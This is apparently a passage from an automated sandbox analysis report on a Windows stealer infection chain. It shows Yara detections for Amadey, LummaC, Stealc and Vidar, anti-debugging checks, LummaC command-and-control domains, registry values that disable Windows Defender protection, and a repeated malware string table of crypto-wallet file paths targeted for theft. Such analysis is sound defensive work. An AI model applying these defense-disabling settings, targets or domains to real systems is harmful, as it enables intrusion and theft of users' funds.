Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Q10LTOCEFP0KA6N46594D.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\TMZOGPKAQROXKZACD6GWC5N6Z.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsIIEBKJECFC.exe

Code function: 9_2_05120B55 rdtsc

9_2_05120B55

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C635FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C635FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C63C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C63C410

Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_0037652B mov eax, dword ptr fs:[00000030h]	9_2_0037652B
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Code function: 9_2_0037A302 mov eax, dword ptr fs:[00000030h]	9_2_0037A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E4A302 mov eax, dword ptr fs:[00000030h]	10_2_00E4A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00E4652B mov eax, dword ptr fs:[00000030h]	10_2_00E4652B

Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\70XXT0BM2TDFAKTXCB0ILV78JWN4.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C60B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C60B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 82b4c5cad2.exe PID: 6208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 82b4c5cad2.exe PID: 2368, type: MEMORYSTR

LummaC encrypted strings found

Source: c3e1e78f6d.exe, 0000000D.00000002.2608781039.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: faintbl0w.sbs
Source: c3e1e78f6d.exe, 0000000D.00000002.2608781039.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 300snails.sbs
Source: c3e1e78f6d.exe, 0000000D.00000002.2608781039.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: 3xc1aimbl0w.sbs
Source: c3e1e78f6d.exe, 0000000D.00000002.2608781039.00000000006B1000.00000040.00000001.01000000.0000000F.sdmp	String found in binary or memory: thicktoys.sbs

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsIIEBKJECFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsIIEBKJECFC.exe "C:\Users\user\DocumentsIIEBKJECFC.exe"	Jump to behavior
Source: C:\Users\user\DocumentsIIEBKJECFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe "C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe "C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe "C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe"	Jump to behavior

Source: c3e1e78f6d.exe, 0000000D.00000002.2617086313.00000000008C7000.00000040.00000001.01000000.0000000F.sdmp, c3e1e78f6d.exe, 00000011.00000002.2739572348.00000000008C7000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: ,Program Manager
Source: file.exe, file.exe, 00000000.00000002.2162844185.0000000000B2C000.00000040.00000001.01000000.00000003.sdmp, accd68d705.exe, 00000012.00000002.2664002502.0000000000B5C000.00000040.00000001.01000000.00000011.sdmp, Q10LTOCEFP0KA6N46594D.exe, 00000016.00000002.2794697341.000000000082C000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: Program Manager
Source: DocumentsIIEBKJECFC.exe, DocumentsIIEBKJECFC.exe, 00000009.00000002.2176448910.0000000000580000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 0000000A.00000002.2204182541.0000000001050000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000000B.00000002.2208268351.0000000001050000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: QProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C60B341 cpuid

0_2_6C60B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005813001\82b4c5cad2.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5D35A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6C5D35A0

Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1005815001\accd68d705.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: c3e1e78f6d.exe, 0000000D.00000003.2485828191.0000000001534000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000003.2728217584.0000000001001000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000011.00000002.2742683237.0000000001003000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3023444353.0000000000E74000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.3024056962.0000000000E77000.00000004.00000020.00020000.00000000.sdmp, c3e1e78f6d.exe, 00000017.00000003.2902319838.0000000000E77000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1005812001\c3e1e78f6d.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 9.2.DocumentsIIEBKJECFC.exe.340000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.skotes.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.skotes.exe.e10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000B.00000002.2207719562.0000000000E11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2203663551.0000000000E11000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2175361575.0000000000341000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c3e1e78f6d.exe PID: 7944, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c3e1e78f6d.exe PID: 6956, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c3e1e78f6d.exe PID: 7236, type: MEMORYSTR
Source: Yara match	File source: 13.2.c3e1e78f6d.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.c3e1e78f6d.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2164783980.0000000000F9E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.2857025061.0000000005910000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000003.2609138087.0000000005010000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2160637336.0000000000751000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2897720480.0000000000F71000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2670475440.0000000000F71000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2486797329.00000000017DE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2485790355.0000000000F71000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000003.2444697974.0000000005190000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2669591001.0000000000C16000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1838467283.0000000004A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2899998365.0000000001C32000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 82b4c5cad2.exe PID: 6208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 82b4c5cad2.exe PID: 2368, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7472, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2164783980.0000000001011000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo 